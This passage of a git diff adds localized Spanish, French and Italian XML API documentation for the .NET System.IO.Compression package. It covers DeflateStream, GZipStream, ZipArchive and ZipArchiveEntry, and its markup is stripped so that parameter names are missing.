mantener el objeto de secuencia abierto después de desechar el objeto ; en caso contrario, false. + El valor de es null. + La secuencia no admite operaciones de escritura como compresión.(El es propiedad del objeto de secuencia false.) + + + Inicializa una nueva instancia de la clase usando la secuencia y modo de compresión especificados. + Secuencia que se va a comprimir o descomprimir. + Uno de los valores de la enumeración que indica si se debe comprimir o descomprimir la secuencia. + El valor de es null. + + no es válida valor.o bien es y es false.o bien es y es false. + + + Inicializa una nueva instancia de la clase usando la secuencia y modo de compresión especificados y, opcionalmente, deja la secuencia abierta. + Secuencia que se va a comprimir o descomprimir. + Uno de los valores de la enumeración que indica si se debe comprimir o descomprimir la secuencia. + true para mantener la secuencia abierta después de desechar el objeto ; en caso contrario, false. + El valor de es null. + + no es válida valor.o bien es y es false.o bien es y es false. + + + Obtiene una referencia a la secuencia subyacente. + Un objeto de secuencia que representa la secuencia subyacente. + La secuencia subyacente está cerrada. + + + Obtiene un valor que indica si la secuencia admite operaciones de lectura mientras se descomprime un archivo. + Es true si el valor es Decompress, y la secuencia subyacente está abierta y admite operaciones de lectura; de lo contrario, es false. + + + Obtiene un valor que indica si la secuencia admite operaciones de búsqueda. + false en todos los casos. + + + Obtiene un valor que indica si la secuencia admite operaciones de escritura. + true si el valor de es Compress y la secuencia subyacente admite operaciones de escritura y no está cerrada; en caso contrario, false. + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + La implementación actual de este método no tiene funcionalidad. + La secuencia está cerrada. + + + + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Esta propiedad no se admite en esta secuencia. + + + + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Esta propiedad no se admite en esta secuencia. + + + + + + Introduce varios bytes descomprimidos leídos en la matriz de bytes especificada. + Número de bytes leídos de la matriz de bytes. + Matriz para almacenar los bytes descomprimidos. + Desplazamiento de bytes en donde se colocarán los bytes leídos. + Número máximo de bytes descomprimidos que se van a leer. + El valor de es null. + El valor era Compress cuando se creó el objeto.o bien La secuencia subyacente no admite operaciones de lectura. + + o es menor que cero.o bien longitud menos el punto inicial del índice es menor que . + El formato de los datos no es válido. + La secuencia está cerrada. + + + Esta operación no se admite y siempre produce una excepción . + Un valor largo. + Ubicación en la secuencia. + Uno de los valores de . + Esta propiedad no se admite en esta secuencia. + + + Esta operación no se admite y siempre produce una excepción . + Longitud de la secuencia. + Esta propiedad no se admite en esta secuencia. + + + Escribe los bytes comprimidos en la secuencia subyacente de la matriz de bytes especificada. + Búfer que contiene los datos que se van a comprimir. + Desplazamiento de bytes en donde se leerán los bytes. + Número máximo de bytes que se pueden escribir. + + + Proporciona los métodos y propiedades que permiten comprimir y descomprimir secuencias. + + + Inicializa una nueva instancia de la clase usando la secuencia y nivel de compresión especificados. + Secuencia en la que se van a escribir los datos comprimidos. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al comprimir la secuencia. + El valor de es null. + La secuencia no admite operaciones de escritura como compresión.(El es propiedad del objeto de secuencia false.) + + + Inicializa una nueva instancia de la clase usando la secuencia y nivel de compresión especificados y, opcionalmente, deja la secuencia abierta. + Secuencia en la que se van a escribir los datos comprimidos. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al comprimir la secuencia. + true para mantener el objeto de secuencia abierto después de desechar el objeto ; en caso contrario, false. + El valor de es null. + La secuencia no admite operaciones de escritura como compresión.(El es propiedad del objeto de secuencia false.) + + + Inicializa una nueva instancia de la clase usando la secuencia y modo de compresión especificados. + Secuencia en la que se escriben los datos comprimidos o descomprimidos. + Uno de los valores de la enumeración que indica si se debe comprimir o descomprimir la secuencia. + El valor de es null. + + no es válida valor de enumeración.o bien es y es false.o bien es y es false. + + + Inicializa una nueva instancia de la clase usando la secuencia y modo de compresión especificados y, opcionalmente, deja la secuencia abierta. + Secuencia en la que se escriben los datos comprimidos o descomprimidos. + Uno de los valores de la enumeración que indica si se debe comprimir o descomprimir la secuencia. + true para mantener la secuencia abierta después de desechar el objeto ; en caso contrario, false. + El valor de es null. + + no es válida valor.o bien es y es false.o bien es y es false. + + + Obtiene una referencia a la secuencia subyacente. + Un objeto de secuencia que representa la secuencia subyacente. + La secuencia subyacente está cerrada. + + + + + + Obtiene un valor que indica si la secuencia admite operaciones de lectura mientras se descomprime un archivo. + true si el valor de es Decompress, y la secuencia subyacente admite operaciones de lectura y no está cerrada; en caso contrario, false. + + + + + + Obtiene un valor que indica si la secuencia admite operaciones de búsqueda. + false en todos los casos. + + + Obtiene un valor que indica si la secuencia admite operaciones de escritura. + true si el valor de es Compress y la secuencia subyacente admite operaciones de escritura y no está cerrada; en caso contrario, false. + + + + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + La implementación actual de este método no tiene funcionalidad. + La secuencia está cerrada. + + + + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Esta propiedad no se admite en esta secuencia. + + + + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Esta propiedad no se admite en esta secuencia. + + + + + + Introduce varios bytes descomprimidos leídos en la matriz de bytes especificada. + El número de bytes que se han descomprimido en la matriz de bytes.Si se ha llegado al final de la secuencia, se devuelve cero o el número de bytes leídos. + Matriz que se utiliza para almacenar los bytes descomprimidos. + Desplazamiento de bytes en donde se colocarán los bytes leídos. + Número máximo de bytes descomprimidos que se van a leer. + El valor de es null. + El valor era Compress cuando se creó el objeto.o bienLa secuencia subyacente no admite operaciones de lectura. + + o es menor que cero.o bien longitud menos el punto inicial del índice es menor que . + El formato de los datos no es válido. + La secuencia está cerrada. + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Ubicación en la secuencia. + Uno de los valores de . + Esta propiedad no se admite en esta secuencia. + + + Esta propiedad no se admite y siempre produce una excepción . + Longitud de la secuencia. + Esta propiedad no se admite en esta secuencia. + + + Escribe los bytes comprimidos en la secuencia subyacente de la matriz de bytes especificada. + Búfer que contiene los datos que se van a comprimir. + Desplazamiento de bytes en donde se leerán los bytes. + Número máximo de bytes que se pueden escribir. + La operación de escritura no se puede realizar porque la secuencia está cerrada. + + + Representa un paquete de archivos comprimidos en formato de archivo zip. + + + Inicializa una nueva instancia de la clase a partir de la secuencia especificada. + Secuencia que contiene el archivo que se va a leer. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Inicializa una nueva instancia de la clase a partir de la secuencia especificada y con el modo especificado. + Flujo de entrada o de salida. + Uno de los valores de enumeración que indica si el archivo zip se usa para leer, crear o actualizar entradas. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Inicializa una nueva instancia de la clase en el flujo especificado para el modo especificado y, opcionalmente, deja el flujo abierto. + Flujo de entrada o de salida. + Uno de los valores de enumeración que indica si el archivo zip se usa para leer, crear o actualizar entradas. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Inicializa una nueva instancia de la clase en el flujo especificado para el modo especificado, usa la codificación especificada para los nombres de entrada y opcionalmente deja el flujo abierto. + Flujo de entrada o de salida. + Uno de los valores de enumeración que indica si el archivo zip se usa para leer, crear o actualizar entradas. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + Codificación que se va a usar al leer o escribir nombres de entrada en este archivo.Especifique un valor para este parámetro únicamente cuando se necesite una codificación para la interoperabilidad con herramientas y bibliotecas de archivos zip que no admiten la codificación UTF-8 para los nombres de entrada. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Crea una entrada vacía en el archivo zip con la ruta de acceso y el nombre de entrada especificados. + Una entrada vacía en el archivo zip. + Ruta de acceso, relativa a la raíz del archivo, que especifica el nombre de la entrada que se va a crear. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Crea una entrada vacía en el archivo zip con el nombre de entrada y el nivel de compresión especificados. + Una entrada vacía en el archivo zip. + Ruta de acceso, relativa a la raíz del archivo, que especifica el nombre de la entrada que se va a crear. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al crear la entrada. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Libera los recursos utilizados por la instancia actual de la clase . + + + Llamado por los métodos y para liberar los recursos no administrados utilizados por la instancia actual de la clase de , y termina opcionalmente de escribir el archivo y libera los recursos administrados. + true para terminar de escribir el archivo y liberar recursos no administrados y administrados; false para liberar solo recursos no administrados. + + + Obtiene la colección de entradas que están actualmente en el archivo zip. + La colección de entradas que están actualmente en el archivo zip. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Recupera un contenedor para la entrada especificada en el archivo zip. + Un contenedor para la entrada especificada en el archivo; null si la entrada no existe en el archivo. + Ruta de acceso, relativa a la raíz del archivo, que identifica la entrada a recuperar. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Obtiene un valor que describe el tipo de acción que el archivo zip puede realizar en las entradas. + Uno de los valores de enumeración que describe el tipo de acción (lectura, creación o actualización) que puede realizar el archivo zip en las entradas. + + + Representa un archivo comprimido incluido en un archivo zip. + + + Obtiene el archivo zip al que pertenece la entrada. + El archivo zip al que pertenece la entrada o null si se ha eliminado la entrada. + + + Obtiene el tamaño comprimido de la entrada en el archivo zip. + Tamaño comprimido de la entrada en el archivo zip. + The value of the property is not available because the entry has been modified. + + + Elimina la entrada del archivo zip. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Obtiene la ruta de acceso relativa de la entrada en el archivo zip. + Ruta de acceso relativa de la entrada en el archivo zip. + + + Obtiene o establece la última vez que se cambió la entrada en el archivo zip. + Última vez que la entrada del archivo zip se cambió. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Obtiene el tamaño descomprimido de la entrada en el archivo zip. + Tamaño descomprimido de la entrada en el archivo zip. + The value of the property is not available because the entry has been modified. + + + Obtiene el nombre de archivo de la entrada en el archivo zip. + Nombre de archivo de la entrada en el archivo zip. + + + Abre la entrada desde el archivo zip. + La secuencia que representa el contenido de la entrada. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Recupera la ruta de acceso relativa de la entrada en el archivo zip. + La ruta de acceso relativa de la entrada, que es el valor almacenado en la propiedad . + + + Especifica los valores para interactuar con entradas de archivo zip. + + + Solo se permite crear nuevas entradas de archivo. + + + Solo se permite leer entradas del archivo. + + + Ambas operaciones de lectura y escritura se permiten para las entradas del archivo. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/fr/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/fr/System.IO.Compression.xml new file mode 100644 index 0000000..4c3bfb3 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/fr/System.IO.Compression.xml @@ -0,0 +1,430 @@ + + + + System.IO.Compression + + + + Spécifie les valeurs qui indiquent si une opération de compression souligne la rapidité ou la taille de compression. + + + L'opération de compression doit s'exécuter aussi rapidement que possible, même si le fichier résultant n'est pas compressé de manière optimale. + + + Aucune compression ne doit être exécutée sur le fichier. + + + L'opération de compression doit être compressée de manière optimale, même si elle prend plus de temps. + + + Spécifie s'il faut compresser ou décompresser le flux sous-jacent. + + + Compresse le flux sous-jacent. + + + Décompresse le flux sous-jacent. + + + Fournit des méthodes et des propriétés pour compresser et décompresser des flux à l'aide de l'algorithme Deflate. + + + Initialise une nouvelle instance de la classe à l'aide du flux et du niveau de compression spécifiés. + Flux à compresser. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur la rapidité et l'efficacité de compression en compressant le flux de données. + + a la valeur null. + Le flux ne prend pas en charge les opérations d'écriture telles que la compression.(La propriété sur l'objet de flux est false.) + + + Initialise une nouvelle instance de la classe à l'aide du flux et du niveau de compression spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux à compresser. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur la rapidité et l'efficacité de compression en compressant le flux de données. + true pour maintenir l'objet de flux ouvert après avoir supprimé l'objet  ; sinon, false. + + a la valeur null. + Le flux ne prend pas en charge les opérations d'écriture telles que la compression.(La propriété sur l'objet de flux est false.) + + + Initialise une nouvelle instance de la classe à l'aide du flux et du mode de compression spécifiés. + Flux à compresser ou à décompresser. + L'une des valeurs d'énumération qui indique s'il faut compresser ou décompresser le flux. + + a la valeur null. + + n'est pas une valeur valide.ou est et est false.ou est et est false. + + + Initialise une nouvelle instance de la classe à l'aide du flux et du mode de compression spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux à compresser ou à décompresser. + L'une des valeurs d'énumération qui indique s'il faut compresser ou décompresser le flux. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + a la valeur null. + + n'est pas une valeur valide.ou est et est false.ou est et est false. + + + Obtient une référence au flux sous-jacent. + Objet de flux qui représente le flux sous-jacent. + Le flux sous-jacent est fermé. + + + Obtient une valeur indiquant si le flux prend en charge la lecture pendant la décompression d'un fichier. + true si la valeur est Decompress, que le flux sous-jacent est ouvert et qu'il prend en charge la lecture ; sinon, false. + + + Obtient une valeur indiquant si le flux prend en charge la recherche. + false dans tous les cas. + + + Obtient une valeur indiquant si le flux prend en charge l'écriture. + true si la valeur de est Compress, que le flux sous-jacent prend en charge l'écriture et qu'il n'est pas fermé ; sinon, false. + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + L'implémentation actuelle de cette méthode n'a aucune fonctionnalité. + Le flux est fermé. + + + + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Cette propriété n'est pas prise en charge sur ce flux. + + + + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Cette propriété n'est pas prise en charge sur ce flux. + + + + + + Lit un certain nombre d'octets décompressés dans le tableau d'octets spécifié. + Nombre d'octets qui ont été lus dans le tableau d'octets. + Tableau utilisé pour stocker les octets décompressés. + Dans , décalage d'octet auquel les octets lus seront placés. + Nombre maximal d'octets décompressés à lire. + + a la valeur null. + La valeur était Compress lorsque l'objet a été créé.ou Le flux sous-jacent ne prend pas en charge la lecture. + + ou est inférieur à zéro.ouLa longueur de moins le point de départ de l'index est inférieure à . + Le format des données n'est pas valide. + Le flux est fermé. + + + Cette opération n'est pas prise en charge et lève toujours . + Valeur Long. + Emplacement dans le flux. + Une des valeurs de . + Cette propriété n'est pas prise en charge sur ce flux. + + + Cette opération n'est pas prise en charge et lève toujours . + Longueur du flux. + Cette propriété n'est pas prise en charge sur ce flux. + + + Écrit les octets compressés dans le flux sous-jacent à partir du tableau d'octets spécifié. + Mémoire tampon qui contient les données à compresser. + Dans , décalage d'octet à partir duquel les octets seront lus. + Nombre maximal d'octets à écrire. + + + Fournit les méthodes et les propriétés utilisées pour compresser et décompresser des flux. + + + Initialise une nouvelle instance de la classe à l'aide du flux et du niveau de compression spécifiés. + Flux dans lequel écrire les données compressées. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur la rapidité et l'efficacité de compression en compressant le flux de données. + + a la valeur null. + Le flux ne prend pas en charge les opérations d'écriture telles que la compression.(La propriété sur l'objet de flux est false.) + + + Initialise une nouvelle instance de la classe à l'aide du flux et du niveau de compression spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux dans lequel écrire les données compressées. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur la rapidité et l'efficacité de compression en compressant le flux de données. + true pour maintenir l'objet de flux ouvert après avoir supprimé l'objet  ; sinon, false. + + a la valeur null. + Le flux ne prend pas en charge les opérations d'écriture telles que la compression.(La propriété sur l'objet de flux est false.) + + + Initialise une nouvelle instance de la classe à l'aide du flux et du mode de compression spécifiés. + Flux dans lequel les données compressées ou décompressées sont écrites. + L'une des valeurs d'énumération qui indique s'il faut compresser ou décompresser le flux. + + a la valeur null. + + n'est pas une valeur d'énumération valide.ou est et est false.ou est et est false. + + + Initialise une nouvelle instance de la classe à l'aide du flux et du mode de compression spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux dans lequel les données compressées ou décompressées sont écrites. + L'une des valeurs d'énumération qui indique s'il faut compresser ou décompresser le flux. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + a la valeur null. + + n'est pas une valeur valide.ou est et est false.ou est et est false. + + + Obtient une référence au flux sous-jacent. + Objet de flux qui représente le flux sous-jacent. + Le flux sous-jacent est fermé. + + + + + + Obtient une valeur indiquant si le flux prend en charge la lecture pendant la décompression d'un fichier. + true si la valeur de est Decompress,, que le flux sous-jacent prend en charge la lecture et qu'il n'est pas fermé ; sinon, false. + + + + + + Obtient une valeur indiquant si le flux prend en charge la recherche. + false dans tous les cas. + + + Obtient une valeur indiquant si le flux prend en charge l'écriture. + true si la valeur de est Compress, que le flux sous-jacent prend en charge l'écriture et qu'il n'est pas fermé ; sinon, false. + + + + + + Libère les ressources non managées utilisées par l'objet et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + L'implémentation actuelle de cette méthode n'a aucune fonctionnalité. + Le flux est fermé. + + + + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Cette propriété n'est pas prise en charge sur ce flux. + + + + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Cette propriété n'est pas prise en charge sur ce flux. + + + + + + Lit un certain nombre d'octets décompressés dans le tableau d'octets spécifié. + Nombre d'octets qui ont été décompressés dans le tableau d'octets.Si la fin du flux a été atteinte, zéro ou le nombre d'octets lus est retourné. + Tableau utilisé pour décompresser les octets. + Dans , décalage d'octet auquel les octets lus seront placés. + Nombre maximal d'octets décompressés à lire. + + a la valeur null. + La valeur était Compress lorsque l'objet a été créé.ouLe flux sous-jacent ne prend pas en charge la lecture. + + ou est inférieur à zéro.ouLa longueur de moins le point de départ de l'index est inférieure à . + Le format des données n'est pas valide. + Le flux est fermé. + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Emplacement dans le flux. + Une des valeurs de . + Cette propriété n'est pas prise en charge sur ce flux. + + + Cette propriété n'est pas prise en charge et lève toujours . + Longueur du flux. + Cette propriété n'est pas prise en charge sur ce flux. + + + Écrit les octets compressés dans le flux sous-jacent à partir du tableau d'octets spécifié. + Mémoire tampon qui contient les données à compresser. + Dans , décalage d'octet à partir duquel les octets seront lus. + Nombre maximal d'octets à écrire. + L'opération d'écriture ne peut pas être exécutée car le flux est fermé. + + + Représente un package de fichiers compressés au format d'archivage zip. + + + Initialise une nouvelle instance de la classe à partir du flux spécifié. + Flux qui contient l'archive à lire. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Initialise une nouvelle instance de la classe à partir du flux spécifié et avec le mode spécifié. + Flux de sortie ou d'entrée. + Une des valeurs d'énumération qui indique si l'archive zip est utilisée pour lire, créer ou mettre à jour des entrées. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initialise une nouvelle instance de la classe sur le flux de données spécifié pour le mode spécifié, et laisse éventuellement le flux ouvert. + Flux de sortie ou d'entrée. + Une des valeurs d'énumération qui indique si l'archive zip est utilisée pour lire, créer ou mettre à jour des entrées. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initialise une nouvelle instance de la classe sur le flux spécifié pour le mode spécifié, utilise l'encodage spécifié pour les noms d'entrée, et permet éventuellement de laisser le flux ouvert. + Flux de sortie ou d'entrée. + Une des valeurs d'énumération qui indique si l'archive zip est utilisée pour lire, créer ou mettre à jour des entrées. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + Encodage à utiliser lors de la lecture ou de l'écriture des noms d'entrée dans cette archive.Spécifie une valeur pour ce paramètre seulement quand un encodage est obligatoire pour l'interopérabilité avec les outils et les bibliothèques d'archivage zip qui ne prennent pas en charge l'encodage UTF-8 pour les noms d'entrée. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Crée une entrée vide qui a le chemin d'accès et le nom d'entrée spécifiés dans l'archive zip. + Entrée vide dans l'archive zip. + Chemin d'accès relatif à la racine de l'archive, qui spécifie le nom de l'entrée à créer. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Crée une entrée vide qui a le nom d'entrée et le niveau de compression spécifiés dans l'archive zip. + Entrée vide dans l'archive zip. + Chemin d'accès relatif à la racine de l'archive, qui spécifie le nom de l'entrée à créer. + Une des valeurs d'énumération qui indique s'il faut privilégier la rapidité ou l'efficacité de la compression lors de la création de l'entrée. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Libère les ressources utilisées par l'instance actuelle de la classe . + + + Appelée par les méthodes et pour libérer les ressources non managées utilisées par l'instance actuelle de la classe , et éventuellement finit d'écrire l'archive et libère les ressources managées. + true pour finir l'écriture de l'archive et libérer les ressources managées et non managées ; false pour libérer seulement des ressources non managées. + + + Obtient la collection d'entrées figurant actuellement dans l'archive zip. + Collection d'entrées figurant actuellement dans l'archive zip. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Récupère un wrapper pour l'entrée spécifiée dans l'archive zip. + Wrapper pour l'entrée spécifiée dans l'archive ; null si l'entrée n'existe pas dans l'archive. + Chemin d'accès relatif à la racine de l'archive, qui identifie l'entrée à récupérer. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Obtient une valeur qui décrit le type d'action que l'archive zip peut effectuer sur des entrées. + Une des valeurs d'énumération qui décrit le type d'action (lecture, création ou mise à jour) que l'archive zip peut effectuer sur les entrées. + + + Représente un fichier compressé dans une archive zip. + + + Obtient l'archive zip à laquelle l'entrée appartient. + Archive zip à laquelle l'entrée appartient, ou null si l'entrée a été supprimée. + + + Obtient la taille compressée de l'entrée dans l'archive zip. + Taille compressée de l'entrée dans l'archive zip. + The value of the property is not available because the entry has been modified. + + + Supprime l'entrée de l'archive zip. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Obtient le chemin d'accès relatif de l'entrée dans l'archive zip. + Chemin d'accès relatif de l'entrée dans l'archive zip. + + + Obtient ou définit la date de dernière modification de l'entrée dans l'archive zip. + Date/heure à laquelle l'entrée a été modifiée pour la dernière fois dans l'archive zip. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Obtient la taille décompressée de l'entrée dans l'archive zip. + Taille décompressée de l'entrée dans l'archive zip. + The value of the property is not available because the entry has been modified. + + + Obtient le nom du fichier de l'entrée dans l'archive zip. + Nom de fichier de l'entrée dans l'archive zip. + + + Ouvre l'entrée à partir de l'archive zip. + Flux qui représente le contenu de l'entrée. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Récupère le chemin d'accès relatif de l'entrée dans l'archive zip. + Chemin d'accès relatif de l'entrée, qui est la valeur stockée dans la propriété . + + + Spécifie les valeurs pour interagir avec les entrées d'archive ZIP. + + + Seule la création de nouvelles entrées d'archivage est autorisée. + + + Seule la lecture des entrées d'archivage est autorisée. + + + Les opérations de lecture et d'écriture sont autorisées pour les entrées d'archivage. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/it/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/it/System.IO.Compression.xml new file mode 100644 index 0000000..79fddbe --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/it/System.IO.Compression.xml @@ -0,0 +1,430 @@ + + + + System.IO.Compression + + + + Specifica i valori che indicano se un'operazione di compressione privilegia le dimensioni di compressione o la velocità. + + + L'operazione di compressione deve essere completata il più rapidamente possibile, anche se il file risultante non è compresso in modo ottimale. + + + Non deve essere eseguita alcuna compressione del file. + + + L'operazione di compressione deve essere compressa in modo ottimale, anche se l'operazione richiede più tempo per il completamento. + + + Specifica se comprimere o decomprimere il flusso sottostante. + + + Comprime il flusso sottostante. + + + Decomprime il flusso sottostante. + + + Fornisce metodi e proprietà per la compressione e la decompressione dei flussi mediante l'algoritmo Deflate. + + + Inizializza una nuova istanza della classe usando il livello di compressione del flusso specificato. + Flusso da comprimere. + Uno dei valori di enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si comprime il flusso. + + è null. + Il flusso non supporta le operazioni di scrittura come la compressione.(La proprietà di sull'oggetto di flusso è false). + + + Inizializza una nuova istanza della classe usando il livello di compressione del flusso specificato. Facoltativamente mantiene aperto il flusso. + Flusso da comprimere. + Uno dei valori di enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si comprime il flusso. + true per mantenere l'oggetto flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + è null. + Il flusso non supporta le operazioni di scrittura come la compressione.(La proprietà di sull'oggetto di flusso è false). + + + Inizializza una nuova istanza della classe usando la modalità di compressione del flusso specificata. + Flusso da comprimere o decomprimere. + Uno dei valori di enumerazione che indica se comprimere o decomprimere il flusso. + + è null. + + non è un valore di valido.-oppure- è e è false.-oppure- è e è false. + + + Inizializza una nuova istanza della classe usando la modalità di compressione del flusso specificata. Facoltativamente mantiene aperto il flusso. + Flusso da comprimere o decomprimere. + Uno dei valori di enumerazione che indica se comprimere o decomprimere il flusso. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + è null. + + non è un valore di valido.-oppure- è e è false.-oppure- è e è false. + + + Ottiene un riferimento al flusso sottostante. + Oggetto flusso che rappresenta il flusso sottostante. + Il flusso sottostante è chiuso. + + + Ottiene un valore che indica se il flusso supporta la lettura durante la decompressione di un file. + true se il valore di è Decompress e il flusso sottostante è aperto e supporta la lettura; in caso contrario, false. + + + Ottiene un valore che indica se il flusso supporta la ricerca. + false in tutti i casi. + + + Ottiene un valore che indica se il flusso supporta la scrittura. + true se il valore di è Compress e il flusso sottostante non è chiuso e supporta la scrittura; in caso contrario, false. + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + L'implementazione corrente di questo metodo non presenta alcuna funzionalità. + Il flusso è chiuso. + + + + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Questa proprietà non è supportata su questo flusso. + + + + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Questa proprietà non è supportata su questo flusso. + + + + + + Legge un numero di byte decompressi nella matrice di byte specificata. + Numero di byte letti nella matrice di byte. + Matrice per archiviare i byte decompressi. + Offset dei byte in in corrispondenza del quale cui verranno inseriti i byte letti. + Numero massimo di byte decompressi da leggere. + + è null. + Al momento della creazione dell'oggetto, il valore di era Compress.-oppure- Il flusso sottostante non supporta la lettura. + + o è minore di zero.-oppure-La lunghezza di meno il punto iniziale dell'indice è minore di . + Il formato dei dati non è valido. + Il flusso è chiuso. + + + Questa operazione non è supportata e genera sempre un'eccezione . + Valore long. + Posizione all'interno del flusso. + Uno dei valori di . + Questa proprietà non è supportata su questo flusso. + + + Questa operazione non è supportata e genera sempre un'eccezione . + Lunghezza del flusso. + Questa proprietà non è supportata su questo flusso. + + + Scrive i byte compressi nel flusso sottostante dalla matrice di byte specificata. + Buffer contenente i dati da comprimere. + Offset dei byte in da cui verranno letti i byte. + Numero massimo di byte da scrivere. + + + Fornisce i metodi e le proprietà usate per comprimere e decomprimere i flussi. + + + Inizializza una nuova istanza della classe usando il livello di compressione del flusso specificato. + Flusso in cui scrivere i dati compressi. + Uno dei valori di enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si comprime il flusso. + + è null. + Il flusso non supporta le operazioni di scrittura come la compressione.(La proprietà di sull'oggetto di flusso è false). + + + Inizializza una 